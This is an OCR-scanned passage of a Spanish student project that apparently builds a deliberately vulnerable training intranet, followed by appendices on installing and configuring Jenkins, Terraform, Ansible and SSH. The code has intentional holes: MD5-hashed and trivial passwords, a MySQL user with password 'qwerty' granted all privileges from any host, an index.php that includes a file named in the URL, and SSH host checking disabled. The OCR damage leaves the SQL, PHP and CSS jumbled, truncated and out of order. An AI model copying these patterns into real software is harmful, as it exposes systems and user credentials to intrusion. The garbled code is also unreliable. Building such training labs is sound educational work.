id INT AUTO_INCREMENT PRIMARY KEY,
nombre VARCHAR (100) NOT NULL,
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23 cargo VARCHAR(100) NOT NULL,

24 contacto VARCHAR (100) NOT NULL,

25 departamento_id INT,

26 nombre_usuario VARCHAR (50) NOT NULL,

27 contrasena VARCHAR (32) NOT NULL,

28 sudo ENUM('Si', 'No') NOT NULL

29 FOREIGN KEY (departamento_id) REFERENCES departamentos (id)
30 )

32 —— Crear tabla clientes

33 CREATE TABLE clientes (

34 id INT AUTO_INCREMENT PRIMARY KEY,
35 nombre VARCHAR (100) NOT NULL,

36 correo VARCHAR (100) NOT NULL UNIQUE,
37 telefono VARCHAR (20),

38 direccion VARCHAR (255)

39 )

11 -- Crear tabla politicas

12 CREATE TABLE politicas (

13 id INT AUTO_INCREMENT PRIMARY KEY,

14 codigo VARCHAR (10) NOT NULL UNIQUE,

15 nombre VARCHAR (100) NOT NULL,

16 fecha_vigencia DATE NOT NULL,

17 estado ENUM('Activa', 'Inactiva') NOT NULL
18 ) ;

50 —— Crear tabla eventos

51 CREATE TABLE eventos (

2 id INT AUTO_INCREMENT PRIMARY KEY,
53 nombre VARCHAR (100) NOT NULL,

5 fecha DATETIME NOT NULL,

55 descripcion TEXT NOT NULL

50 -—— Insertar datos en la tabla departamentos
60 INSERT INTO departamentos (nombre, correo, telefono) VALUES

61 ('IT', 'it@securelyinsecure.com', '+34 123 456 789'),
62 ('Ciberseguridad', 'ciberseguridad@securelyinsecure.com', '+34 987 654 321'),
63 ('Recursos Humanos', 'rrhh@securelyinsecure.com', '+34 555 123 456');

65 -—— Insertar datos en la tabla usuarios
66 INSERT INTO usuarios (nombre, cargo, contacto, departamento_id, nombre_usuario,

contrasena, sudo) VALUES

67 ('Javier Gomez', 'Gerente de Infraestructura de IT', 'jgomez@securelyinsecure.com', 1,
'mgomez ', MD5('S3cur3Pa22wdi124'), 'Si'),

68 ('Carlos Lopez', 'Administrador de Redes', 'clopez@securelyinsecure.com', 1, 'clopez',
MD5 (' Tr$8jK19 '), 'No'),

60 ('Maria Santos', 'Administradora de Base de Datos', 'msantos@securelyinsecure.com', 1,
'msantos', MD5('Qw3#tYul'), 'No'),

70 ('"Ana Ruiz', 'Directora de Tecnologia', 'aruiz@securelyinsecure.com', 1, 'aruiz', MD5('

password'), 'No'),
71 ('Sebastian Martin', 'Becario RR.HH', 'smartin@securelyinsecure.com', 3, 'smartin',6 MD5
('Zn3!LmN7'), 'No'),
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('Laura Manrique', 'Gerente de Recursos Humanos',

'lmanrique ', MD5('Pw8$gHk3'), 'No'),
('Mario Osorio', 'Director de Seguridad de la Informacion', 'mosorio@securely
com', 2, 'mosorio', MD5('Nv5#Ju9K'), 'No'),

('Sara Rosas', 'Analista de Vulnerabilidades', 'srosas@securelyinsecure.com',
srosas', MD5('Wx7*Ku8J'), 'No'),

('Francisco Ramos', 'Auditor de Seguridad', 'framos@securelyinsecure.com',6 2,
MD5 (' Tf4&Vr6Z'), 'No'),

('Paula Samaniego', 'Especialista en Respuesta a Incidentes', '
psamaniego@securelyinsecure.com', 2, 'psamaniego', MD5('Yt9%Lp5B'), 'No');

-- Insertar datos en la tabla clientes
INSERT INTO clientes (nombre, correo, telefono, direccion) VALUES
.fernandez@gmail.com', '555-1234', 'Calle Mayor 10,

('Pedro Fernandez', 'pedro

('Lucia Gonzalez', 'lucia.gonzalez@gmail.com',

20, Sevilla'),

'5565-5678"', 'Avenida de la Con

'lmanrique@securelyinsecure.com', 3,

insecure.

2, !

'framos ',

Madrid '),

stitucion

('Juan Martinez', 'juan.martinez@gmail.com', '555-9101', 'Calle Gran Via 30, Barcelona
F

-- Insertar datos en la tabla politicas

INSERT INTO politicas (codigo, nombre, fecha_vigencia, estado) VALUES

('SEC001', 'Politica de Seguridad', '2024-01-01', 'Activa'),

('PRIOO1', 'Politica de Privacidad', '2024-01-01', 'Activa'),

('RET001', 'Politica de Retencion de Datos', '2023-06-01', 'Inactiva'),

('US0001', 'Politica de Uso Aceptable', '2024-01-01', 'Activa');

-- Insertar datos en la tabla eventos

INSERT INTO eventos (nombre, fecha, descripcion) VALUES

('Evento de Lanzamiento', '2024-07-01 10:00:00', 'Lanzamiento del nuevo prodcuto.'),

('Conferencia Anual', '2024-09-15 09:00:00', 'Feria de

1.5.2. usuarios.sql

promocion.');

-- Crear usuario admin y otorgar permisos sobre la base de datos 'intranet'

CREATE USER 'msantos'@'Y'

IDENTIFIED BY 'qwerty';

GRANT ALL PRIVILEGES ON intranet.* TO 'msantos'@'?%';

FLUSH PRIVILEGES;

1.6. Web

1.6.1. header.php

<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">

<meta name="viewport"

content="width=device-width,

<title>Intranet SecurelyInsecure</title>

<link rel="stylesheet"
</head>
<body >

href="styles.css">
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<header >

<hl1>Intranet de SecurelyInsecure Inc.</hl>

<nav>
<ul>
<li><a href="index.php?page=home.php">Inicio</a></1i>
<li><a href="index.php?page=departamentos.php">Departamentos</a></1i>
<li><a href="index.php?page=noticias.php">Noticias</a></1i>
</ul>
</nav>

</header>

<main>

1.6.2. index.php

<?php
session_start ();
7>

<?php include('header.php'); 7>

<?php

$page = isset ($_GET['page'])? $_GET['page']l : "home.php";
include ($page);

7>

<?php include('footer.php'); 7>

1.6.3. footer.php

</main>
<footer>
<p>&copy; 2024 SecurelyInsecure Inc. Todos los derechos reservados.</p>
</footer>
</body >
</html>

1.6.4. home.php

<section>
<h2>Bienvenido a la Intranet de SecurelyInsecure Inc.</h2>
<p>Esta es la plataforma interna para los empleados de SecurelylInsecure Inc. Aqui
podras encontrar informacion importante, recursos y herramientas para facilitar tu
trabajo diario.</p>

</section>

<section>
<h2>Ultimas Noticias</h2>
<article class="news-item">

<h3>Actualizacion de Seguridad</h3>
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10 <p>El proximo viernes se realizara una actualizacion de seguridad en todos los

sistemas. Por favor, asegurate de guardar tu trabajo y cerrar todas las aplicaciones
antes de las 6 PM.</p>

11 <p><small>Publicado el 1 de junio de 2024</small></p>

12 </article>

13 <article class="news-item">

14 <h3>Nuevo Beneficio para Empleados</h3>

15 <p>A partir del proximo mes, los empleados tendran acceso a un nuevo plan de
beneficios que incluye descuentos en gimnasios y centros de bienestar.</p>

16 <p><small>Publicado el 15 de mayo de 2024</small></p>

17 </article>

18 </section>

20 <section>

21 <h2>Proximos Eventos</h2>

22 <article class="event-item">

23 <h3>Conferencia Anual de Tecnologia</h3>

24 <p>La conferencia anual de tecnologia se llevara a cabo el 20 de junio de 2024.
Se discutira sobre las ultimas tendencias en el sector tecmnologico.</p>

25 <p><small>Fecha: 20 de junio de 2024</small></p>

26 </article>

27 <article class="event-item">

28 <h3>Jornada de Puertas Abiertas</h3>

29 <p>Invitamos a todos los empleados y sus familias a la jornada de puertas
abiertas el proximo 5 de julio de 2024. Habra actividades para todas las edades.</p>

30 <p><small>Fecha: 5 de julio de 2024</small></p>

31 </article>

32 </section>

1.6.5. departamentos.php

<section>

N

<h2>Departamentos de la Empresa</h2>

3 <div class="department-card">

4 <h3>Departamento de IT</h3>

5 <p>El Departamento de IT se encarga de gestionar la infraestructura tecnologica

de la empresa, incluyendo la red, servidores y seguridad informatica. Nuestro

equipo de expertos en tecnologia esta comprometido a mantener nuestros sistemas en
funcionamiento y seguros en todo momento.</p>

6 <p><strong>Correo:</strong> it@securelyinsecure.com</p>

7 <p><strong>Telefono:</strong> +34 123 456 789</p>

8 <a class="button-1link" href="index.php?page=empleados_IT.php&department=it"
data-department="IT">Ver Empleados</a>
9 </div>

10 <div class="department-card">

11 <h3>Departamento de Ciberseguridad</h3>

12 <p>El Departamento de Ciberseguridad es responsable de proteger los activos
digitales de la empresa contra amenazas ciberneticas. Desde la prevencion de
intrusiones hasta la deteccion de vulnerabilidades, nuestro equipo se esfuerza por
mantener la seguridad de nuestros sistemas y datos en todo momento.</p>

13 <p><strong>Correo:</strong> ciberseguridad@securelyinsecure.com</p>

14 <p><strong>Telefono:</strong> +34 987 654 321</p>

15 <a class="button-link" href="index.php?page=empleados_Ciber.php&department=

ciberseguridad" data-department="Ciberseguridad">Ver Empleados</a>
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</div>
<div class="department-card">

<h3>Departamento de Recursos Humanos</h3>

<p>El Departamento de Recursos Humanos se encarga de la gestion del personal de
la empresa, incluyendo contratacion, nominas y capacitacion. Nuestro objetivo es
proporcionar un entorno de trabajo positivo y apoyar el crecimiento y desarrollo
profesional de nuestros empleados.</p>

<p><strong>Correo:</strong> rrhh@securelyinsecure.com</p>

<p><strong>Telefono:</strong> +34 555 123 456</p>

<a class="button-1link" href="index.php?page=empleados_RRHH.php&department=
recursos_humanos" data-department="Recursos Humanos">Ver Empleados</a>
</div>

</section>

1.6.6. noticias.php

<section>
<h2>Ultimas Noticias</h2>
<article class="news-item">
<h3>Actualizacion de Seguridad</h3>
<p>El proximo viernes se realizara una actualizacion de seguridad en todos los
sistemas. Por favor, asegurate de guardar tu trabajo y cerrar todas las aplicaciones
antes de las 6 PM.</p>
<p><small>Publicado el 1 de junio de 2024</small></p>
</article>
<article class="news-item">
<h3>Nuevo Beneficio para Empleados</h3>
<p>A partir del proximo mes, los empleados tendran acceso a un nuevo plan de
beneficios que incluye descuentos en gimnasios y centros de bienestar.</p>
<p><small>Publicado el 15 de mayo de 2024</small></p>
</article>
<article class="news-item">
<h3>Apertura de Nueva Sede</h3>
<p>Nos complace anunciar la apertura de nuestra nueva sede en Barcelona, que
comenzara a operar a partir del proximo mes.</p>
<p><small>Publicado el 10 de abril de 2024</small></p>
</article>

</section>

1.6.7. empleados_ IT.php

<section>
<h2>Listado de Empleados</h2>

<div class="employee-card">
<h3>Javier Gomez</h3>
<p><strong>Cargo:</strong> Gerente de Infraestructura de IT</p>
<p><strong>Contacto:</strong> mgomez@securelyinsecure.com</p>
</div>
<div class="employee-card">
<h3>Carlos Lopez</h3>
<p><strong>Cargo:</strong> Administrador de Redes</p>
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<p><strong>Contacto:</strong> clopez@securelyinsecure.com</p>
</div>
<div class="employee-card">

<h3>Maria Santos</h3>

<p><strong>Cargo:</strong> Administradora de Base de Datos</p>

<p><strong>Contacto:</strong> msantos@securelyinsecure.com</p>
</div>
<div class="employee-card">

<h3>Ana Ruiz</h3>

<p><strong>Cargo:</strong> Directora de Tecnologia </p>

<p><strong>Contacto:</strong> aruiz@securelyinsecure.com</p>
</div>

</section>

1.6.8. empleados__ Ciber.php

<section>

<h2>Listado de Empleados</h2>
<div class="employee-card">
<h3>Mario Osorio</h3>
<p><strong>Cargo:</strong> Director de Seguridad de la Informacion</p>
<p><strong>Contacto:</strong> mosorio@securelyinsecure.com</p>
</div>
<div class="employee-card">
<h3>Sara Rosas</h3>
<p><strong>Cargo:</strong> Analista de Vulnerabilidades</p>
<p><strong>Contacto:</strong> srosas@securelyinsecure.com</p>
</div>
<div class="employee-card">
<h3>Francisco Ramos</h3>
<p><strong>Cargo:</strong> Auditor de Seguridad</p>
<p><strong>Contacto:</strong> framos@securelyinsecure.com</p>
</div>
<div class="employee-card">
<h3>Paula Samaniego</h3>
<p><strong>Cargo:</strong> Especialista en Respuesta a Incidentes</p>
<p><strong>Contacto:</strong> psamaniego@securelyinsecure.com</p>
</div>

</section>

1.6.9. empleados_ RRHH.php

<section>

<h2>Listado de Empleados</h2>
<div class="employee-card">
<h3>Sebastian Martin</h3>
<p><strong>Cargo:</strong> Becario RR.HH</p>
<p><strong>Contacto:</strong> smartin@securelyinsecure.com</p>
</div>
<div class="employee-card">
<h3>Laura Manrique</h3>
<p><strong>Cargo:</strong> Gerente de Recursos Humanos</p>

<p><strong>Contacto:</strong> lmanrique@securelyinsecure.com</p>
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</div>

</section>

1.6.10. styles.css

body {

font-family: Arial, sans-serif;

line-height: 1.6;

margin: O;

padding: O;
background-color: #f4f4f4;
}
header {
background-color: #333;
color: #fff;
padding: 10px O;
text-align: center;
}

header hi1l {

margin: O0;

nav ul {
list-style: none;

padding: O;

nav ul 1i {
display: inline;

margin-right: 10px;

nav ul 1li a {
color: #fff;

text-decoration: none;

}
main {

padding: 20px;
}

section {
margin-bottom: 20px;

}

.button-1link {
display: inline-block;
padding: 10px 20px;
background -color: #f4f4f4;
color: #333;
text-decoration: none;

border: 1px solid #ccc;
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border -radius: 5px;

transition: background-color 0.3s,

.button-1link:hover {

.department -card,

5 }

background-color: #eaeaea;
#222;

border -color:

color:
#999;

.employee-card, .news-item,

background-color: #fff;
padding: 20px;
margin-bottom: 10px;

border: 1px solid #ddd;

border -radius: 5px;

/* Estilos para la seccion de empleados */

.employee-card {

background -color: #fff;
padding: 20px;
margin-bottom: 20px;

border: 1px solid #ddd;

border-radius: 5px;

.employee-card h3 {

margin-top: O;

.employee-card p {

margin: 10px O;

.employee-card strong {

font-weight: bold;

s7 footer {
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position: relative;
left: O;

bottom: O;

width: 100%;
background-color: #333;
color: white;
text-align: center;

padding: 10px;
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color 0.3s,

border-color 0.3s;

.event-item, .policy-card {



Apéndice A

Instalaciones

1. Jenkins - Ubuntu 22.04

1. Actualizamos el sistema.

1 sudo apt-get update

2. Obtenemos JAVA 11.

1 sudo apt install openjdk-11-jdk

3. Obtenemos el repositorio Jenkins.

curl -fsSL https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key

sudo tee /usr/share/keyrings/jenkins-keyring.asc > /dev/null

4. Agregamos el repositorio oficial de Jenkins en el sistema.

1 echo deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] \
2 https://pkg.jenkins.io/debian-stable binary/ | \
3 sudo tee /etc/apt/sources.list.d/jenkins.list > /dev/null

5. Actualizamos los paquetes del sistema.

sudo apt update

6. Instalamos Jenkins.

1 sudo apt install Jenkins

7. Iniciamos Jenkins.

1 sudo systemctl start Jenkins

8. Configuramos el Firewall para permitir el puerto de Jenkins 8080 y servicio SSH.

sudo ufw allow 8080

sudo ufw allow ssh

3 sudo ufw enable
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A. Instalaciones

9. Accedemos a Jenkins en el navegador web.

1 http://localhost :8080

Getting Started

Unlock Jenkins

) ensure Jenkins is securely set up by the administra 3 Passw
to the log (not sure where to find it?) and this file on the server:
/var/1ib/jenkins/secrets/initialAdminPassword

Please copy the password either location and paste it belov

Administrator password

Figura A.1: Primer acceso Jenkins

10. Obtener clave activacién Jenkins y pegarla en la casilla de la ventana gréfica

1 sudo cat /var/lib/jenkins/secrets/initialAdminPassword

sudo cat /var/lib/jenkins/secrets/initialAdminPassword

1~
fd57d9845dcd4b2f91d4ca206a338bd4

Figura A.2: Clave activaciéon Jenkins

11. Una vez insertada, procedemos a instalar los paquetes recomendados graficamente

Getting Started

Bienvenido a Jenkins
Plugins extend Jenkins with additional features to support many different needs
Install suggested Select plugins to
plugins install

Figura A.3: Instalacién paquetes Jenkins
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A. Instalaciones

12. Creamos al usuario administrador.

Getting Started

Create First Admin User

Usuario

admin1

Contrasefia

Nombre completo

Figura A.4: Creacién administrador Jenkins

13. Configuramos la URL en la que Jenkins va a correr en el sistema.

I http://localhost :8080/

Getting Started

Instance Configuration

Jenkins URL: [ http://localhost:8080/ ]

Figura A.5: Configuracién URL Jenkins

14. Finalizar instalacion en la ventana emergente.

2. Terraform - Ubuntu 22.04

1. Actualizamos el sistema.

1 sudo apt-get install terraform

2. Instalamos dependencias.

1 sudo apt-get install -y gnupg software-properties-common

3. Instalamos la clave GPG de HashiCorp .

1 $§ wget -0- https://apt.releases.hashicorp.com/gpg | \

N

gpg --dearmor | \

sudo tee /usr/share/keyrings/hashicorp-archive-keyring.gpg > /dev/null
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4. Obtenemos el repositorio oficial de HashiCorp en el sistema.

1 echo "deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpgl \
2 https://apt.releases.hashicorp.com $(lsb_release -cs) main" | \

3 sudo tee /etc/apt/sources.list.d/hashicorp.list

5. Actualizamos los paquetes del sistema.

1 sudo apt update

6. Instalamos Terraform.

1 sudo apt-get install terraform

3. Amnsible - Debian 12

1. Actualizamos el sistema.

1 sudo apt update
2 sudo apt upgrade -y

2. Instalamos Python y PIP.

1 sudo apt install -y python3 python3-pip

3. Instalar las dependencias necesarias para anadir nuevos repositorios y manejar paquetes.

1 sudo apt install -y software-properties-common

4. Incluimos el repositorio Ansible.

1 sudo apt-add-repository --yes --update ppa:ansible/ansible

5. Actualizamos los paquetes del sistema.

1 sudo apt update

6. Instalamos Ansible.

1 sudo apt install -y ansible

4. Visual Studio Code - Ubuntu 22.04

Para instalar Virtual Studio Code, tinicamente es necesario acceder a la plataforma Ubuntu Software

e instalar el software.

code Source | Snap Store (Smap) -

Figura A.6: VSCode Ubuntu Software
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Apéndice B

Configuraciéon GitHub

1. GitHub

Se contard con la creaciéon de un repositorio centralizado en GitHub en el cual poder albergar todo
el coédigo que se empleara en este proyecto, donde a su vez, se podra cumplir con la practica DevOps de

Entrega Continua/Implementacién Continua para la automatizacién del despliegue.

Para lograr esto, hay que dirigirse, dentro del perfil, al ment con los repositorio a encontrar y entrar
en "new”. Dentro se nos mostrard un formulario con datos a rellenar acorde a lo que se requiera para el
repositorio. Una vez se haya completado, el repositorio estara listo para su uso.

Create a new repository

A tory contains all project files, including the revision history. Already have a project repository elsewhere?

Reg ds are marked with an a
Owner * Repository name *
fsanjo268 - /
Great repository names are short and memorable. Need inspiration? How about cautio

Description (optional)

o Q Public

ne on the internet can see this reposit: o vho can commit.

) EJ Private

You choc ho can see and commit to this r

Initialize this repository with:
[] Add a README file

This is where you can write a long description for your proj
Add .gitignore
.gitignore template: None =
vhich files not to track from a list of templates.
Choose a license
License: None ~

A license tell what they can and can't

() You are creating a public repository in your personal account.

Figura B.1: Creacion repositorio GitHub 2
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Apéndice C

Configuracion Maquina virtual del

proyecto

Para este proyecto. se empleard un sistema de virtualizacion con VirtualBox, haciendo uso de una
distribucién de Linux, Ubuntu 22.04.4 TLS, debido a la facilidad y comodidad de instalacién de las
herramientas, también para tener un espacio aislado de la maquina personal para poder configurar y

probar el proyecto de manera que no afecte a la maquina principal.

La configuracién de la maquina virtual es la siguiente

s Version: Ubuntu 22.04.4 TLS

CPU: 11th Gen Intel(R) Core(TM) i5-1155G7 @ 2.50GHz

Nicleos: 2 CPUs

= RAM: 5120 MB

Memoria video: 128MB

Teniendo ya asentada la maquina virtual, comenzamos con la creacién de una clave publica SSH para
establecer conexiones posteriores con el nodo Proxmox que emplearemos para la comunicacién de los

LXC y maquinas virtuales.

1. Generacion clave SSH

La generacion de claves SSH es un proceso sencillo y esencial para el proceso establecimiento de

conexiones remotas, donde en este caso, la creacion serd sobre sistemas Linux.

1. Verificar directorio .ssh

Comenzamos con la verificacién de la existencia del directorio oculto /.ssh, el cual suele estar

dentro del directorio home del usuario actual del sistema.

En el caso que no estuviera creado, debemos crearlo de manera manual, debido a que en la generacién

de la clave SSH no lo crea automéaticamente.

1 mkdir -p $HOME/.ssh
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C. Configuracién Maquina virtual del proyecto

Una vez creado, otorgamos los permisos para que solo el propio usuario pueda acceder a ese direc-

torio.

1 chmod 0700 $HOME/.ssh
2. Generamos la clave

Para la generacién de la clave se debe emplear el comando base ssh-keygen pero en él existen

diferentes parametros para determinar que algoritmo se va a emplear, siendo los siguientes:

= dsa

= ecdsa

= ecdsa-sk

= ed25519

= ed25519-sk

= ISa

En este caso, se empleara el algoritmo ed25519, basado en curvas elipticas, ofrece un alto nivel de
seguridad contra una variedad de ataques, mientras que sus claves més cortas mejoran el rendi-

miento.

1 ssh-keygen -t ed25519

Como se trata de un proyecto pequeno, no se hara uso de la passphrase.

:~$ ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/usertfg/.ssh/id ed25519):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/usertfg/.ssh/id ed25519
Your public key has been saved in /home/usertfg/.ssh/id ed25519.pub
The key fingerprint is:
SHA256: STcMZjuLNhkK4DJv3cBU2pbtu336sddMFhAgh8wTJIQk usertfg@VirtualTFG
The key's randomart image is:
+--[ED25519 256]--+
.E.oo0.

Figura C.1: Generacién clave SSH
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C. Configuracién Maquina virtual del proyecto

Una vez generada, verificaremos que se han generado de manera exitosa en el directorio /.ssh de

nuestro home dos claves, una clave privada y una clave publica.

= id_ed25519
= id_ed25519.pub

:~/.ssh$ 1s -1

total 12

1 usertfg usertfg 411 mar 23 12:17 id ed25519
-rw-r--r-- 1 usertfg usertfg 100 mar 23 12:17 id ed25519.pub
-tw-r--r-- 1 usertfg usertfg 142 feb 26 18:02 known hosts

Figura C.2: Verificacién creacién claves SSH

El contenido de la clave publica es lo mostrado en la imagen siguiente.

:~/.ssh$ cat ./id_ed25519.pub

ssh-ed25519 AAAAC3NzaCllZDIINTESAAAAIOMhs1jtFG37tR6YVIVY+nWC3pb+SrkKK8jRiweFodIHr usertfg@VirtualTFG

Figura C.3: Contenido clave SSH ptblica

Con la clave ya creada, para continuar con el proyecto, se debe comenzar con las instalaciones de
las herramientas [A] Jenkins y Terraform para abordar el flujo del despliegue de la infraestructura y
junto a ellas, el editor de cédigo VSCode, mediante el cual crearemos y modificaremos los Script para
las herramientas empleando el control de versiones Git enlazado con el repositorio GitHub previamente

creado.
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Apéndice D
Configuracion Jenkins

Haremos uso de la herramienta Jenkins para el despliegue continuo y automatizacién total del des-

pliegue de la infraestructura, la cual es necesario una configuracion previa al despliegue.

1. Plugins empleados

A continuacion se muestra un listado con los plugins que se han empleado para el correcto despliegue

de la infraestructura en la herramienta Jenkins.

Plugin

Terraform Plugin

Publish Over SSH

SSH Pipeline Steps
Workspace Cleanup Plugin

Timestamper

Pipeline: Stage View Plugin

Pipeline

File Operations Plugin
Build Timeout
ShiningPanda Plugin

Cuadro D.1: Plugins Jenkins

2. Configuraciéon Plugins y servidor SSH

= Terraform Plugin

1 Name: Terraform

2 Install directory: /usr/bin/terraform
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D. Configuracién Jenkins

instalaciones de Terraform
instalaciones de Terraform ~ # Edited
Afiadir Terraform

= Terraform
Name

Terraform
Install directory

Jusr/bin/terraform

Instalar automaticamente ?

Figura D.1: Configuracién Terraform Plugin

= ShiningPanda Plugin
1 Name: Python3
2 Install directory: /usr/bin/python3

instalaciones de Python
instalaciones de Python ~ ¢ Edited
Anadir Python

= Python
Name ?

Python3

Home or executable ?

Jusr/bin/python3

Instalar automéaticamente ?
Figura D.2: Configuraciéon ShiningPanda Plugin

s Git Plugin

1 Name: Git

2 Install directory: /usr/bin/git

Git installations

= it
Name

Git

Path to Git executable ?

Jusr/bin/git

Instalar autométicamente ?

Figura D.3: Configuraciéon Git Plugin
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D. Configuracién Jenkins

SSH Server

1 Name: Python3

2 Hostname: virtual.lab.inf.uva.es
3 Username: ansible

4 Remote Directory: /home/ansible
5 Port: 20101

6 Timeout (ms): 300000

S5H Servers

= S55HServer
Name 7

tFg2010

Hostname ?

virtuallab.inf.uva.es

Username 7

ansible

Remicte Directory 7

fhome/ansible

#Awvoid sending Files that have not changed 7

Avanzado ~ Edited

Use password authentication, or use a different key

Jump host 7

Port 7

2010

Timeout (ms) 7

300000

Figura D.4: Configuracién Server SSH

3. Creacioén pipeline despliegue

Comenzaremos con la crecién del objeto principal, llamado pipeline, el cual servird como flujo de
comunicacion de todas las herramientas y acciones necesarias para el despliegue y configuracién de toda
la infraestructura.

Dentro de un Pipeline, podemos incluir todo cddigo para la automatizacion del despliegue o destrucciéon
de la infraestructura, el cual se recoge en un fichero llamado Jenkinsfile. Para poder crear el objeto pipeline

de Jenkins, debemos seguir una serie de sencillos pasos.

Comenzamos accediendo, desde la pagina principal de Panel de control, a la seccion de Nueva tarea,

en la cual nos permite crear los diferentes objetos que se emplean en Jenkins.
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D. Configuracién Jenkins

Panel de Control

+

Nueva Tarea

Personas

Historial de trabajos

Administrar Jenkins

g @ @ f

Mis vistas

Figura D.5: Creacién pipeline Jenkins - 1

Una vez dentro de la pagina de creacién de objetos, seleccionamos Pipeline y le agregamos un nombre
que lo identifique.

Panel de Control Todo

Enter an item name

(R Crear un proyecto de estilo libre

| Classic, general-purpose job type that checks out from up to one SCM, executes build steps serially, followed by post-build steps like
archiving artifacts and sending email notifications.

oF Pipeline

Gestiona actividades de larga duracién que pueden abarcar varios agentes de construccion. Apropiado para construir pipelines
(conocidas anteriormente como workflows) y/o para la organizacién de actividades complejas que no se pueden articular facilmente
con tareas de tipo freestyle.

Figura D.6: Creacién pipeline Jenkins - 2

4. Configuraciéon parametros pipeline

Para ejecutar el pipeline, tenemos que agregar unos parametros para poder garantizar una correcta

inicializacién, eleccion y destruccién de la infraestructura.

Para poder configurar estos pardmetros, es necesario activar, dentro del pipeline, la opcién de Esta

ejecucton debe parametrizarse.

Esta ejecucion debe parametrizarse 7

Anadir un parametro

Figura D.7: Parametrizacién ejecucién Jenkins
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D. Configuracién Jenkins

Los parametros a configurar seran los siguientes:

= Action: caja de seleccién referente a comandos Terraform para despliegue mediante apply o des-

truccion de la infraestructura con destroy.

= Exercise: caja de seleccién referente al médulo o ejercicio que queremos emplear para realizar
el despliegue de la infraestructura, siendo del formato module-i, donde 7 significa el nimero del

ejercicio a realizar.

= NameToTransfer: caja de texto con el nombre a proporcionar al fichero a comprimir con el

contenido para ejecutar Ansible en el nodo.

= NameOfTargetFolder: caja de texto con el nombre de la carpeta destino en el nodo para transferir

el fichero comprimido con el contenido de Ansible.

5. Jenkisfile

Con un entorno Jenkins configurado, se procedera a explicar como se ha logrado la automatizacién y
coordinacién del despliegue. El cédigo jenkinsfile se encuentra completo en el anexo [1.2

El fichero jenkinsfile se basa en una serie de elementos clave para el flujo del codigo:

= Stages: coleccion de multiples stage. En Jenkins, el bloque stages contiene todos los stage del

pipeline, definiendo la secuencia y la estructura del flujo de trabajo.

= Stage: bloque dentro de un pipeline que agrupa varios step. Los stages permiten dividir el pipe-
line en diferentes fases o etapas légicas, facilitando la organizacién y la visualizaciéon del proceso

completo.

= Step: unidad bésica de trabajo que el pipeline debe realizar. Es una instrucciéon singular dentro de

un pipeline que puede ejecutar comandos, scripts, o interactuar con otros sistemas.

El flujo de trabajo del c6digo se basa en:

1. Obtencién ficheros GitHub
Lo primordial es albergar dentro del espacio de trabajo del pipeline, inicamente cuando desplegue-
mos la infraestructura, el repositorio con todos los ficheros de configuracion para el despliegue, para

ello, descargaremos el repositorio, previamente creado en GitHub, dentro del espacio de trabajo, al

cual accedemos mediante dir.

Para lograr una consistencia en los ficheros, se realiza una limpieza completa del espacio de trabajo
con la funcién cleanWs(), al crear la infraestructura, asi garantizamos un despliegue limpio, sino al

querer eliminar lo desplegado, Terraform no tendra las referencias de las configuraciones a eliminar.

2. Conexion con Terraform

Es el momento de dar paso a Terraform en nuestro pipeline, empleando los comandos Terraform

bésicos: init, plan, apply y destroy.
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D. Configuracién Jenkins

Para poder iniciar Terraform, es necesario ubicarse en el directorio del ejercicio a desplegar mediante
dir, donde se usara el parametro del ejercicio params. Fxercise a desplegar como medio para ubicar
el directorio del mismo, para que de esta manera, detecten los ficheros correctos y actualice el

.terraform empleando, gracias a una shell, terraform init.

3. Validaciones

Para continuar con un despliegue seguro, los codigos de Terraform y Ansible son verificados, en
cada correspondiente directorio empleando dir y una shell, para evitar que se produzcan errores

en la ejecucion de los mismos.

Para validar el Terraform, se emplea terraform validate. En cuanto al codigo Ansible ansible-playbook

<playbook>-syntazx-check.

4. Creacién despliegue

Validados los cédigos Terraform y Ansible, se debe crear un plan previo para la infraestructura
y almacenarlo en un fichero denominado tfplan usando terraform plan. De esta manera se puede
observar lo que Terraform va a desplegar. El plan tnicamente se creard cuando se despliegue la

infraestructura, ya que al destruir, se quiere mantener este plan almacenado en el espacio de trabajo

Teniendo el plan para el despliegue, se valida el pardmetro de la accién a realizar por medio de
un condicional, si se quiere desplegar, llamara a terraform apply tfplan y solo es esperar a que

Terraform conecte con Proxmox para dar comienzo a la creacién de los objetos.

En el caso que la infraestructura se quiera eliminar de Proxmox, es tan sencillo como mantener
las maquinas arrancadas y con el pardmetro asignado a destroy, Terraform se encargara de leer el

tfplan y eliminar todo lo que esté contenido en ese fichero.

5. Compresion ficheros Ansible

Una vez haya sido desplegada toda la infraestructura con Terraform, es hora de pasar a la herra-
mienta Ansible, la cual emplearemos en el nodo tfg2010 para la automatizacién de la configuracion
de los ejercicios a realizar para el entrenamiento. Para ello es necesario transferir los ficheros Ansi-
ble a emplear para la configuracion, y para abordar esto de una manera sencilla, se realizard una

compresion de la carpeta Ansible del espacio de trabajo gracias al plugin fileOperations.

Los archivos se comprimiran en el proceso de despliegue, para ello fileZipOperation permitira
comprimir la carpeta Ansible del directorio y fileRenameQOperation se renombrara para darle un

nombre personalizado al archivo con el parametro params. NameTo Transfer

6. Transferencia ficheros Ansible al Nodo

Para poder transferir el archivo comprimido al nodo de Ansible, desde el proceso del despliegue, con
el plugin sshPublisher se llevard a cabo una transferencia por SSH al directorio deseado asignado
con el pardmetro params.NameOfTargetFolder, desde el cual se llevaran a cabo las operaciones
Ansible, brindando la capacidad de ejecutar un comando remotamente tras realizar la transferencia

por ello, se aprovechara para descomprimir y eliminar el archivo transferido.
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7.

Ejecuciéon playbook Ansible en Nodo

Teniendo ya todos los archivos Ansible listos para ejecutar dentro del nodo, es hora de aplicar las
configuraciones de los playbooks, tnicamente en el proceso del despliegue, para ello se empleard
el plugin sshCommand para realizar comandos SSH dentro del nodo, donde en caso de fallo de
Playbook, se reintentara 4 veces con la funcién try(x), no sin antes, para que el comando funcione,

crear la conexién SSH con el nodo al comienzo del pipeline.

def remote = [:]
remote .name = 'tfg2010'
remote.host = 'virtual.lab.inf.uva.es'
remote.user = 'ansible'
remote.port = 22
remote.allowAnyHosts = true

Una vez se tengan asignados los valores de la conexion, con el plugin withCredentials, se obtiene
la clave SSH almacenada en el sistema para completar la conexién previamente creada, asignando
el valor de la variable del pluging que contiene la clave identity al parametro identityFile de la

